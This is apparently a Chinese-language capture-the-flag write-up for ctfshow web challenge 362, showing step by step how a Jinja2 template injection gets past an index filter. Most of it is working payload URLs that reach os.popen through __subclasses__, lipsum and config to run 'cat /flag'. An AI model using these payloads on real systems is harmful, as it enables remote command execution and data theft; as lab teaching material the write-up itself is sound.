ctfshow web入门362
如果大家对于SSTI漏洞不太清楚的话,可以访问我之前的文章SSTI模板注入,该文章里也包含了ctfshow web入门361的write up。
1、测试是否含有SSTI模板注入漏洞
老样子将url中name参数值改为name={{7*7}},观察页面输出是否为49。
返现页面输出49,该站点存在SSTI模板注入漏洞。
2、获得内置类所对应的类
http://f22a9be4-d9b2-492e-b7b0-6d0d29106115.challenge.ctf.show/?name={{''.__class__}}
3、获得object基类
http://f22a9be4-d9b2-492e-b7b0-6d0d29106115.challenge.ctf.show/?name={{''.__class__.__base__}}
4、获得所有子类
http://f22a9be4-d9b2-492e-b7b0-6d0d29106115.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()}}
5、获得可以执行shell命令的子类
我们还是以popen方法为例,在ctfshow web入门361中我们已经找到包含popen的方法的类为os._wrap_close,且其索引值为132。这次我们还是使用这个类。
http://f22a9be4-d9b2-492e-b7b0-6d0d29106115.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132]}}
但是我们在获取过程中发现好像什么东西被过滤了。
我们访问索引值为其他数字的类试一下,看是否全被过滤了。
我们发现,索引值为110的类并没有被过滤,说明该网站只是过滤部分类的索引值,我们尝试使用-1的操作看是否能够获得。
成功访问到了os._wrap_close类。
6、获取可以执行shell命令的方法
http://f22a9be4-d9b2-492e-b7b0-6d0d29106115.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[140-1-1-1-1-1-1-1-1].__init__.__globals__['popen']}}
7、执行shell命令获取flag
http://f22a9be4-d9b2-492e-b7b0-6d0d29106115.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[140-1-1-1-1-1-1-1-1].__init__.__globals__['popen']('cat /flag').read()}}
其他方法
我们使用config以及lipsum也是可以获得os模块,从而使用popen方法,达到执行shell命令的效果。
原理
lipsum.__globals__ 中包含os模块
config.__init__.__globals__ 中也包含os模块
效果
http://f22a9be4-d9b2-492e-b7b0-6d0d29106115.challenge.ctf.show/?name={{lipsum.__globals__.os.popen('cat /flag').read()}}
http://f22a9be4-d9b2-492e-b7b0-6d0d29106115.challenge.ctf.show/?name={{config.__init__.__globals__.os.popen('cat /flag').read()}}
成功拿到flag!